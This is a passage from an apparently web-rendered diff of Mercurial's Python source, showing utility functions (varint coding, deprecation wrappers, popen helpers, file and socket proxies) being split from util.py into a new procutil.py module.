4005 ...
3721 ...
4006 ProgrammingError: negative value for uvarint: -1
3722 ProgrammingError: negative value for uvarint: -1
4007 """
3723 """
4008 if value < 0:
3724 if value < 0:
4009 raise error.ProgrammingError('negative value for uvarint: %d'
3725 raise error.ProgrammingError('negative value for uvarint: %d'
4010 % value)
3726 % value)
4011 bits = value & 0x7f
3727 bits = value & 0x7f
4012 value >>= 7
3728 value >>= 7
4013 bytes = []
3729 bytes = []
4014 while value:
3730 while value:
4015 bytes.append(pycompat.bytechr(0x80 | bits))
3731 bytes.append(pycompat.bytechr(0x80 | bits))
4016 bits = value & 0x7f
3732 bits = value & 0x7f
4017 value >>= 7
3733 value >>= 7
4018 bytes.append(pycompat.bytechr(bits))
3734 bytes.append(pycompat.bytechr(bits))
4019
3735
4020 return ''.join(bytes)
3736 return ''.join(bytes)
4021
3737
4022 def uvarintdecodestream(fh):
3738 def uvarintdecodestream(fh):
4023 """Decode an unsigned variable length integer from a stream.
3739 """Decode an unsigned variable length integer from a stream.
4024
3740
4025 The passed argument is anything that has a ``.read(N)`` method.
3741 The passed argument is anything that has a ``.read(N)`` method.
4026
3742
4027 >>> try:
3743 >>> try:
4028 ... from StringIO import StringIO as BytesIO
3744 ... from StringIO import StringIO as BytesIO
4029 ... except ImportError:
3745 ... except ImportError:
4030 ... from io import BytesIO
3746 ... from io import BytesIO
4031 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3747 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4032 0
3748 0
4033 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3749 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4034 1
3750 1
4035 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3751 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4036 127
3752 127
4037 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3753 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4038 1337
3754 1337
4039 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3755 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4040 65536
3756 65536
4041 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3757 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4042 Traceback (most recent call last):
3758 Traceback (most recent call last):
4043 ...
3759 ...
4044 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3760 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4045 """
3761 """
4046 result = 0
3762 result = 0
4047 shift = 0
3763 shift = 0
4048 while True:
3764 while True:
4049 byte = ord(readexactly(fh, 1))
3765 byte = ord(readexactly(fh, 1))
4050 result |= ((byte & 0x7f) << shift)
3766 result |= ((byte & 0x7f) << shift)
4051 if not (byte & 0x80):
3767 if not (byte & 0x80):
4052 return result
3768 return result
4053 shift += 7
3769 shift += 7
4054
3770
4055 ###
3771 ###
4056 # Deprecation warnings for util.py splitting
3772 # Deprecation warnings for util.py splitting
4057 ###
3773 ###
4058
3774
4059 def _deprecatedfunc(func, version):
3775 def _deprecatedfunc(func, version):
4060 def wrapped(*args, **kwargs):
3776 def wrapped(*args, **kwargs):
4061 fn = pycompat.sysbytes(func.__name__)
3777 fn = pycompat.sysbytes(func.__name__)
4062 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
3778 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4063 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
3779 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4064 nouideprecwarn(msg, version)
3780 nouideprecwarn(msg, version)
4065 return func(*args, **kwargs)
3781 return func(*args, **kwargs)
4066 wrapped.__name__ = func.__name__
3782 wrapped.__name__ = func.__name__
4067 return wrapped
3783 return wrapped
4068
3784
4069 defaultdateformats = dateutil.defaultdateformats
3785 defaultdateformats = dateutil.defaultdateformats
4070 extendeddateformats = dateutil.extendeddateformats
3786 extendeddateformats = dateutil.extendeddateformats
4071 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
3787 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4072 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
3788 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4073 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
3789 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4074 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
3790 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4075 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
3791 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4076 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
3792 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4077 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
3793 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4078
3794
3795 stderr = procutil.stderr
3796 stdin = procutil.stdin
3797 stdout = procutil.stdout
3798 explainexit = procutil.explainexit
3799 findexe = procutil.findexe
3800 getuser = procutil.getuser
3801 getpid = procutil.getpid
3802 hidewindow = procutil.hidewindow
3803 popen = procutil.popen
3804 quotecommand = procutil.quotecommand
3805 readpipe = procutil.readpipe
3806 setbinary = procutil.setbinary
3807 setsignalhandler = procutil.setsignalhandler
3808 shellquote = procutil.shellquote
3809 shellsplit = procutil.shellsplit
3810 spawndetached = procutil.spawndetached
3811 sshargs = procutil.sshargs
3812 testpid = procutil.testpid
3813 try:
3814 setprocname = procutil.setprocname
3815 except AttributeError:
3816 pass
3817 try:
3818 unblocksignal = procutil.unblocksignal
3819 except AttributeError:
3820 pass
3821 closefds = procutil.closefds
3822 isatty = procutil.isatty
3823 popen2 = procutil.popen2
3824 popen3 = procutil.popen3
3825 popen4 = procutil.popen4
3826 pipefilter = procutil.pipefilter
3827 tempfilter = procutil.tempfilter
3828 filter = procutil.filter
3829 mainfrozen = procutil.mainfrozen
3830 hgexecutable = procutil.hgexecutable
3831 isstdin = procutil.isstdin
3832 isstdout = procutil.isstdout
3833 shellenviron = procutil.shellenviron
3834 system = procutil.system
3835 gui = procutil.gui
3836 hgcmd = procutil.hgcmd
3837 rundetached = procutil.rundetached
3838
4079 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
3839 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4080 binary = _deprecatedfunc(stringutil.binary, '4.6')
3840 binary = _deprecatedfunc(stringutil.binary, '4.6')
4081 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3841 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4082 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3842 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4083 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3843 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4084 email = _deprecatedfunc(stringutil.email, '4.6')
3844 email = _deprecatedfunc(stringutil.email, '4.6')
4085 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3845 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4086 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3846 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4087 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3847 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4088 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3848 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4089 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3849 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4090 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3850 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4091 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
3851 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
This diff has been collapsed as it changes many lines, (3790 lines changed) Show them Hide them
@@ -1,4091 +1,319
1 # util.py - Mercurial utility functions and platform specific implementations
1 # procutil.py - utility for managing processes and executable environment
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 from __future__ import absolute_import
11
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
14 """
15
16 from __future__ import absolute_import, print_function
17
11
18 import abc
19 import bz2
20 import collections
21 import contextlib
22 import errno
23 import gc
24 import hashlib
25 import imp
12 import imp
26 import io
13 import io
27 import itertools
28 import mmap
29 import os
14 import os
30 import platform as pyplatform
31 import re as remod
32 import shutil
33 import signal
15 import signal
34 import socket
35 import stat
36 import subprocess
16 import subprocess
37 import sys
17 import sys
38 import tempfile
18 import tempfile
39 import time
19 import time
40 import traceback
41 import warnings
42 import zlib
43
20
44 from . import (
21 from ..i18n import _
22
23 from .. import (
45 encoding,
24 encoding,
46 error,
25 error,
47 i18n,
48 node as nodemod,
49 policy,
26 policy,
50 pycompat,
27 pycompat,
51 urllibcompat,
52 )
53 from .utils import (
54 dateutil,
55 stringutil,
56 )
28 )
57
29
58 base85 = policy.importmod(r'base85')
59 osutil = policy.importmod(r'osutil')
30 osutil = policy.importmod(r'osutil')
60 parsers = policy.importmod(r'parsers')
61
62 b85decode = base85.b85decode
63 b85encode = base85.b85encode
64
31
65 cookielib = pycompat.cookielib
66 empty = pycompat.empty
67 httplib = pycompat.httplib
68 pickle = pycompat.pickle
69 queue = pycompat.queue
70 safehasattr = pycompat.safehasattr
71 socketserver = pycompat.socketserver
72 stderr = pycompat.stderr
32 stderr = pycompat.stderr
73 stdin = pycompat.stdin
33 stdin = pycompat.stdin
74 stdout = pycompat.stdout
34 stdout = pycompat.stdout
75 bytesio = pycompat.bytesio
76 # TODO deprecate stringio name, as it is a lie on Python 3.
77 stringio = bytesio
78 xmlrpclib = pycompat.xmlrpclib
79
80 httpserver = urllibcompat.httpserver
81 urlerr = urllibcompat.urlerr
82 urlreq = urllibcompat.urlreq
83
84 # workaround for win32mbcs
85 _filenamebytestr = pycompat.bytestr
86
35
87 def isatty(fp):
36 def isatty(fp):
88 try:
37 try:
89 return fp.isatty()
38 return fp.isatty()
90 except AttributeError:
39 except AttributeError:
91 return False
40 return False
92
41
93 # glibc determines buffering on first write to stdout - if we replace a TTY
42 # glibc determines buffering on first write to stdout - if we replace a TTY
94 # destined stdout with a pipe destined stdout (e.g. pager), we want line
43 # destined stdout with a pipe destined stdout (e.g. pager), we want line
95 # buffering
44 # buffering
96 if isatty(stdout):
45 if isatty(stdout):
97 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
46 stdout = os.fdopen(stdout.fileno(), r'wb', 1)
98
47
99 if pycompat.iswindows:
48 if pycompat.iswindows:
100 from . import windows as platform
49 from .. import windows as platform
101 stdout = platform.winstdout(stdout)
50 stdout = platform.winstdout(stdout)
102 else:
51 else:
103 from . import posix as platform
52 from .. import posix as platform
104
105 _ = i18n._
106
53
107 bindunixsocket = platform.bindunixsocket
108 cachestat = platform.cachestat
109 checkexec = platform.checkexec
110 checklink = platform.checklink
111 copymode = platform.copymode
112 expandglobs = platform.expandglobs
113 explainexit = platform.explainexit
54 explainexit = platform.explainexit
114 findexe = platform.findexe
55 findexe = platform.findexe
115 getfsmountpoint = platform.getfsmountpoint
116 getfstype = platform.getfstype
117 _gethgcmd = platform.gethgcmd
56 _gethgcmd = platform.gethgcmd
118 getuser = platform.getuser
57 getuser = platform.getuser
119 getpid = os.getpid
58 getpid = os.getpid
120 groupmembers = platform.groupmembers
121 groupname = platform.groupname
122 hidewindow = platform.hidewindow
59 hidewindow = platform.hidewindow
123 isexec = platform.isexec
124 isowner = platform.isowner
125 listdir = osutil.listdir
126 localpath = platform.localpath
127 lookupreg = platform.lookupreg
128 makedir = platform.makedir
129 nlinks = platform.nlinks
130 normpath = platform.normpath
131 normcase = platform.normcase
132 normcasespec = platform.normcasespec
133 normcasefallback = platform.normcasefallback
134 openhardlinks = platform.openhardlinks
135 oslink = platform.oslink
136 parsepatchoutput = platform.parsepatchoutput
137 pconvert = platform.pconvert
138 poll = platform.poll
139 popen = platform.popen
60 popen = platform.popen
140 posixfile = platform.posixfile
141 quotecommand = platform.quotecommand
61 quotecommand = platform.quotecommand
142 readpipe = platform.readpipe
62 readpipe = platform.readpipe
143 rename = platform.rename
144 removedirs = platform.removedirs
145 samedevice = platform.samedevice
146 samefile = platform.samefile
147 samestat = platform.samestat
148 setbinary = platform.setbinary
63 setbinary = platform.setbinary
149 setflags = platform.setflags
150 setsignalhandler = platform.setsignalhandler
64 setsignalhandler = platform.setsignalhandler
151 shellquote = platform.shellquote
65 shellquote = platform.shellquote
152 shellsplit = platform.shellsplit
66 shellsplit = platform.shellsplit
153 spawndetached = platform.spawndetached
67 spawndetached = platform.spawndetached
154 split = platform.split
155 sshargs = platform.sshargs
68 sshargs = platform.sshargs
156 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
157 statisexec = platform.statisexec
158 statislink = platform.statislink
159 testpid = platform.testpid
69 testpid = platform.testpid
160 umask = platform.umask
161 unlink = platform.unlink
162 username = platform.username
163
70
164 try:
71 try:
165 recvfds = osutil.recvfds
166 except AttributeError:
167 pass
168 try:
169 setprocname = osutil.setprocname
72 setprocname = osutil.setprocname
170 except AttributeError:
73 except AttributeError:
171 pass
74 pass
172 try:
75 try:
173 unblocksignal = osutil.unblocksignal
76 unblocksignal = osutil.unblocksignal
174 except AttributeError:
77 except AttributeError:
175 pass
78 pass
176
79
177 # Python compatibility
178
179 _notset = object()
180
181 def _rapply(f, xs):
182 if xs is None:
183 # assume None means non-value of optional data
184 return xs
185 if isinstance(xs, (list, set, tuple)):
186 return type(xs)(_rapply(f, x) for x in xs)
187 if isinstance(xs, dict):
188 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
189 return f(xs)
190
191 def rapply(f, xs):
192 """Apply function recursively to every item preserving the data structure
193
194 >>> def f(x):
195 ... return 'f(%s)' % x
196 >>> rapply(f, None) is None
197 True
198 >>> rapply(f, 'a')
199 'f(a)'
200 >>> rapply(f, {'a'}) == {'f(a)'}
201 True
202 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
203 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
204
205 >>> xs = [object()]
206 >>> rapply(pycompat.identity, xs) is xs
207 True
208 """
209 if f is pycompat.identity:
210 # fast path mainly for py2
211 return xs
212 return _rapply(f, xs)
213
214 def bitsfrom(container):
215 bits = 0
216 for bit in container:
217 bits |= bit
218 return bits
219
220 # python 2.6 still have deprecation warning enabled by default. We do not want
221 # to display anything to standard user so detect if we are running test and
222 # only use python deprecation warning in this case.
223 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
224 if _dowarn:
225 # explicitly unfilter our warning for python 2.7
226 #
227 # The option of setting PYTHONWARNINGS in the test runner was investigated.
228 # However, module name set through PYTHONWARNINGS was exactly matched, so
229 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
230 # makes the whole PYTHONWARNINGS thing useless for our usecase.
231 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
232 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
233 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
234 if _dowarn and pycompat.ispy3:
235 # silence warning emitted by passing user string to re.sub()
236 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
237 r'mercurial')
238 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
239 DeprecationWarning, r'mercurial')
240
241 def nouideprecwarn(msg, version, stacklevel=1):
242 """Issue an python native deprecation warning
243
244 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
245 """
246 if _dowarn:
247 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
248 " update your code.)") % version
249 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
250
251 DIGESTS = {
252 'md5': hashlib.md5,
253 'sha1': hashlib.sha1,
254 'sha512': hashlib.sha512,
255 }
256 # List of digest types from strongest to weakest
257 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
258
259 for k in DIGESTS_BY_STRENGTH:
260 assert k in DIGESTS
261
262 class digester(object):
263 """helper to compute digests.
264
265 This helper can be used to compute one or more digests given their name.
266
267 >>> d = digester([b'md5', b'sha1'])
268 >>> d.update(b'foo')
269 >>> [k for k in sorted(d)]
270 ['md5', 'sha1']
271 >>> d[b'md5']
272 'acbd18db4cc2f85cedef654fccc4a4d8'
273 >>> d[b'sha1']
274 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
275 >>> digester.preferred([b'md5', b'sha1'])
276 'sha1'
277 """
278
279 def __init__(self, digests, s=''):
280 self._hashes = {}
281 for k in digests:
282 if k not in DIGESTS:
283 raise error.Abort(_('unknown digest type: %s') % k)
284 self._hashes[k] = DIGESTS[k]()
285 if s:
286 self.update(s)
287
288 def update(self, data):
289 for h in self._hashes.values():
290 h.update(data)
291
292 def __getitem__(self, key):
293 if key not in DIGESTS:
294 raise error.Abort(_('unknown digest type: %s') % k)
295 return nodemod.hex(self._hashes[key].digest())
296
297 def __iter__(self):
298 return iter(self._hashes)
299
300 @staticmethod
301 def preferred(supported):
302 """returns the strongest digest type in both supported and DIGESTS."""
303
304 for k in DIGESTS_BY_STRENGTH:
305 if k in supported:
306 return k
307 return None
308
309 class digestchecker(object):
310 """file handle wrapper that additionally checks content against a given
311 size and digests.
312
313 d = digestchecker(fh, size, {'md5': '...'})
314
315 When multiple digests are given, all of them are validated.
316 """
317
318 def __init__(self, fh, size, digests):
319 self._fh = fh
320 self._size = size
321 self._got = 0
322 self._digests = dict(digests)
323 self._digester = digester(self._digests.keys())
324
325 def read(self, length=-1):
326 content = self._fh.read(length)
327 self._digester.update(content)
328 self._got += len(content)
329 return content
330
331 def validate(self):
332 if self._size != self._got:
333 raise error.Abort(_('size mismatch: expected %d, got %d') %
334 (self._size, self._got))
335 for k, v in self._digests.items():
336 if v != self._digester[k]:
337 # i18n: first parameter is a digest name
338 raise error.Abort(_('%s mismatch: expected %s, got %s') %
339 (k, v, self._digester[k]))
340
341 try:
342 buffer = buffer
343 except NameError:
344 def buffer(sliceable, offset=0, length=None):
345 if length is not None:
346 return memoryview(sliceable)[offset:offset + length]
347 return memoryview(sliceable)[offset:]
348
349 closefds = pycompat.isposix
80 closefds = pycompat.isposix
350
81
351 _chunksize = 4096
352
353 class bufferedinputpipe(object):
354 """a manually buffered input pipe
355
356 Python will not let us use buffered IO and lazy reading with 'polling' at
357 the same time. We cannot probe the buffer state and select will not detect
358 that data are ready to read if they are already buffered.
359
360 This class let us work around that by implementing its own buffering
361 (allowing efficient readline) while offering a way to know if the buffer is
362 empty from the output (allowing collaboration of the buffer with polling).
363
364 This class lives in the 'util' module because it makes use of the 'os'
365 module from the python stdlib.
366 """
367 def __new__(cls, fh):
368 # If we receive a fileobjectproxy, we need to use a variation of this
369 # class that notifies observers about activity.
370 if isinstance(fh, fileobjectproxy):
371 cls = observedbufferedinputpipe
372
373 return super(bufferedinputpipe, cls).__new__(cls)
374
375 def __init__(self, input):
376 self._input = input
377 self._buffer = []
378 self._eof = False
379 self._lenbuf = 0
380
381 @property
382 def hasbuffer(self):
383 """True is any data is currently buffered
384
385 This will be used externally a pre-step for polling IO. If there is
386 already data then no polling should be set in place."""
387 return bool(self._buffer)
388
389 @property
390 def closed(self):
391 return self._input.closed
392
393 def fileno(self):
394 return self._input.fileno()
395
396 def close(self):
397 return self._input.close()
398
399 def read(self, size):
400 while (not self._eof) and (self._lenbuf < size):
401 self._fillbuffer()
402 return self._frombuffer(size)
403
404 def readline(self, *args, **kwargs):
405 if 1 < len(self._buffer):
406 # this should not happen because both read and readline end with a
407 # _frombuffer call that collapse it.
408 self._buffer = [''.join(self._buffer)]
409 self._lenbuf = len(self._buffer[0])
410 lfi = -1
411 if self._buffer:
412 lfi = self._buffer[-1].find('\n')
413 while (not self._eof) and lfi < 0:
414 self._fillbuffer()
415 if self._buffer:
416 lfi = self._buffer[-1].find('\n')
417 size = lfi + 1
418 if lfi < 0: # end of file
419 size = self._lenbuf
420 elif 1 < len(self._buffer):
421 # we need to take previous chunks into account
422 size += self._lenbuf - len(self._buffer[-1])
423 return self._frombuffer(size)
424
425 def _frombuffer(self, size):
426 """return at most 'size' data from the buffer
427
428 The data are removed from the buffer."""
429 if size == 0 or not self._buffer:
430 return ''
431 buf = self._buffer[0]
432 if 1 < len(self._buffer):
433 buf = ''.join(self._buffer)
434
435 data = buf[:size]
436 buf = buf[len(data):]
437 if buf:
438 self._buffer = [buf]
439 self._lenbuf = len(buf)
440 else:
441 self._buffer = []
442 self._lenbuf = 0
443 return data
444
445 def _fillbuffer(self):
446 """read data to the buffer"""
447 data = os.read(self._input.fileno(), _chunksize)
448 if not data:
449 self._eof = True
450 else:
451 self._lenbuf += len(data)
452 self._buffer.append(data)
453
454 return data
455
456 def mmapread(fp):
457 try:
458 fd = getattr(fp, 'fileno', lambda: fp)()
459 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
460 except ValueError:
461 # Empty files cannot be mmapped, but mmapread should still work. Check
462 # if the file is empty, and if so, return an empty buffer.
463 if os.fstat(fd).st_size == 0:
464 return ''
465 raise
466
467 def popen2(cmd, env=None, newlines=False):
82 def popen2(cmd, env=None, newlines=False):
468 # Setting bufsize to -1 lets the system decide the buffer size.
83 # Setting bufsize to -1 lets the system decide the buffer size.
469 # The default for bufsize is 0, meaning unbuffered. This leads to
84 # The default for bufsize is 0, meaning unbuffered. This leads to
470 # poor performance on Mac OS X: http://bugs.python.org/issue4194
85 # poor performance on Mac OS X: http://bugs.python.org/issue4194
471 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
86 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
472 close_fds=closefds,
87 close_fds=closefds,
473 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
88 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
474 universal_newlines=newlines,
89 universal_newlines=newlines,
475 env=env)
90 env=env)
476 return p.stdin, p.stdout
91 return p.stdin, p.stdout
477
92
478 def popen3(cmd, env=None, newlines=False):
93 def popen3(cmd, env=None, newlines=False):
479 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
94 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
480 return stdin, stdout, stderr
95 return stdin, stdout, stderr
481
96
482 def popen4(cmd, env=None, newlines=False, bufsize=-1):
97 def popen4(cmd, env=None, newlines=False, bufsize=-1):
483 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
98 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
484 close_fds=closefds,
99 close_fds=closefds,
485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
100 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 stderr=subprocess.PIPE,
101 stderr=subprocess.PIPE,
487 universal_newlines=newlines,
102 universal_newlines=newlines,
488 env=env)
103 env=env)
489 return p.stdin, p.stdout, p.stderr, p
104 return p.stdin, p.stdout, p.stderr, p
490
105
491 class fileobjectproxy(object):
492 """A proxy around file objects that tells a watcher when events occur.
493
494 This type is intended to only be used for testing purposes. Think hard
495 before using it in important code.
496 """
497 __slots__ = (
498 r'_orig',
499 r'_observer',
500 )
501
502 def __init__(self, fh, observer):
503 object.__setattr__(self, r'_orig', fh)
504 object.__setattr__(self, r'_observer', observer)
505
506 def __getattribute__(self, name):
507 ours = {
508 r'_observer',
509
510 # IOBase
511 r'close',
512 # closed if a property
513 r'fileno',
514 r'flush',
515 r'isatty',
516 r'readable',
517 r'readline',
518 r'readlines',
519 r'seek',
520 r'seekable',
521 r'tell',
522 r'truncate',
523 r'writable',
524 r'writelines',
525 # RawIOBase
526 r'read',
527 r'readall',
528 r'readinto',
529 r'write',
530 # BufferedIOBase
531 # raw is a property
532 r'detach',
533 # read defined above
534 r'read1',
535 # readinto defined above
536 # write defined above
537 }
538
539 # We only observe some methods.
540 if name in ours:
541 return object.__getattribute__(self, name)
542
543 return getattr(object.__getattribute__(self, r'_orig'), name)
544
545 def __nonzero__(self):
546 return bool(object.__getattribute__(self, r'_orig'))
547
548 __bool__ = __nonzero__
549
550 def __delattr__(self, name):
551 return delattr(object.__getattribute__(self, r'_orig'), name)
552
553 def __setattr__(self, name, value):
554 return setattr(object.__getattribute__(self, r'_orig'), name, value)
555
556 def __iter__(self):
557 return object.__getattribute__(self, r'_orig').__iter__()
558
559 def _observedcall(self, name, *args, **kwargs):
560 # Call the original object.
561 orig = object.__getattribute__(self, r'_orig')
562 res = getattr(orig, name)(*args, **kwargs)
563
564 # Call a method on the observer of the same name with arguments
565 # so it can react, log, etc.
566 observer = object.__getattribute__(self, r'_observer')
567 fn = getattr(observer, name, None)
568 if fn:
569 fn(res, *args, **kwargs)
570
571 return res
572
573 def close(self, *args, **kwargs):
574 return object.__getattribute__(self, r'_observedcall')(
575 r'close', *args, **kwargs)
576
577 def fileno(self, *args, **kwargs):
578 return object.__getattribute__(self, r'_observedcall')(
579 r'fileno', *args, **kwargs)
580
581 def flush(self, *args, **kwargs):
582 return object.__getattribute__(self, r'_observedcall')(
583 r'flush', *args, **kwargs)
584
585 def isatty(self, *args, **kwargs):
586 return object.__getattribute__(self, r'_observedcall')(
587 r'isatty', *args, **kwargs)
588
589 def readable(self, *args, **kwargs):
590 return object.__getattribute__(self, r'_observedcall')(
591 r'readable', *args, **kwargs)
592
593 def readline(self, *args, **kwargs):
594 return object.__getattribute__(self, r'_observedcall')(
595 r'readline', *args, **kwargs)
596
597 def readlines(self, *args, **kwargs):
598 return object.__getattribute__(self, r'_observedcall')(
599 r'readlines', *args, **kwargs)
600
601 def seek(self, *args, **kwargs):
602 return object.__getattribute__(self, r'_observedcall')(
603 r'seek', *args, **kwargs)
604
605 def seekable(self, *args, **kwargs):
606 return object.__getattribute__(self, r'_observedcall')(
607 r'seekable', *args, **kwargs)
608
609 def tell(self, *args, **kwargs):
610 return object.__getattribute__(self, r'_observedcall')(
611 r'tell', *args, **kwargs)
612
613 def truncate(self, *args, **kwargs):
614 return object.__getattribute__(self, r'_observedcall')(
615 r'truncate', *args, **kwargs)
616
617 def writable(self, *args, **kwargs):
618 return object.__getattribute__(self, r'_observedcall')(
619 r'writable', *args, **kwargs)
620
621 def writelines(self, *args, **kwargs):
622 return object.__getattribute__(self, r'_observedcall')(
623 r'writelines', *args, **kwargs)
624
625 def read(self, *args, **kwargs):
626 return object.__getattribute__(self, r'_observedcall')(
627 r'read', *args, **kwargs)
628
629 def readall(self, *args, **kwargs):
630 return object.__getattribute__(self, r'_observedcall')(
631 r'readall', *args, **kwargs)
632
633 def readinto(self, *args, **kwargs):
634 return object.__getattribute__(self, r'_observedcall')(
635 r'readinto', *args, **kwargs)
636
637 def write(self, *args, **kwargs):
638 return object.__getattribute__(self, r'_observedcall')(
639 r'write', *args, **kwargs)
640
641 def detach(self, *args, **kwargs):
642 return object.__getattribute__(self, r'_observedcall')(
643 r'detach', *args, **kwargs)
644
645 def read1(self, *args, **kwargs):
646 return object.__getattribute__(self, r'_observedcall')(
647 r'read1', *args, **kwargs)
648
649 class observedbufferedinputpipe(bufferedinputpipe):
650 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
651
652 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
653 bypass ``fileobjectproxy``. Because of this, we need to make
654 ``bufferedinputpipe`` aware of these operations.
655
656 This variation of ``bufferedinputpipe`` can notify observers about
657 ``os.read()`` events. It also re-publishes other events, such as
658 ``read()`` and ``readline()``.
659 """
660 def _fillbuffer(self):
661 res = super(observedbufferedinputpipe, self)._fillbuffer()
662
663 fn = getattr(self._input._observer, r'osread', None)
664 if fn:
665 fn(res, _chunksize)
666
667 return res
668
669 # We use different observer methods because the operation isn't
670 # performed on the actual file object but on us.
671 def read(self, size):
672 res = super(observedbufferedinputpipe, self).read(size)
673
674 fn = getattr(self._input._observer, r'bufferedread', None)
675 if fn:
676 fn(res, size)
677
678 return res
679
680 def readline(self, *args, **kwargs):
681 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
682
683 fn = getattr(self._input._observer, r'bufferedreadline', None)
684 if fn:
685 fn(res)
686
687 return res
688
689 PROXIED_SOCKET_METHODS = {
690 r'makefile',
691 r'recv',
692 r'recvfrom',
693 r'recvfrom_into',
694 r'recv_into',
695 r'send',
696 r'sendall',
697 r'sendto',
698 r'setblocking',
699 r'settimeout',
700 r'gettimeout',
701 r'setsockopt',
702 }
703
704 class socketproxy(object):
705 """A proxy around a socket that tells a watcher when events occur.
706
707 This is like ``fileobjectproxy`` except for sockets.
708
709 This type is intended to only be used for testing purposes. Think hard
710 before using it in important code.
711 """
712 __slots__ = (
713 r'_orig',
714 r'_observer',
715 )
716
717 def __init__(self, sock, observer):
718 object.__setattr__(self, r'_orig', sock)
719 object.__setattr__(self, r'_observer', observer)
720
721 def __getattribute__(self, name):
722 if name in PROXIED_SOCKET_METHODS:
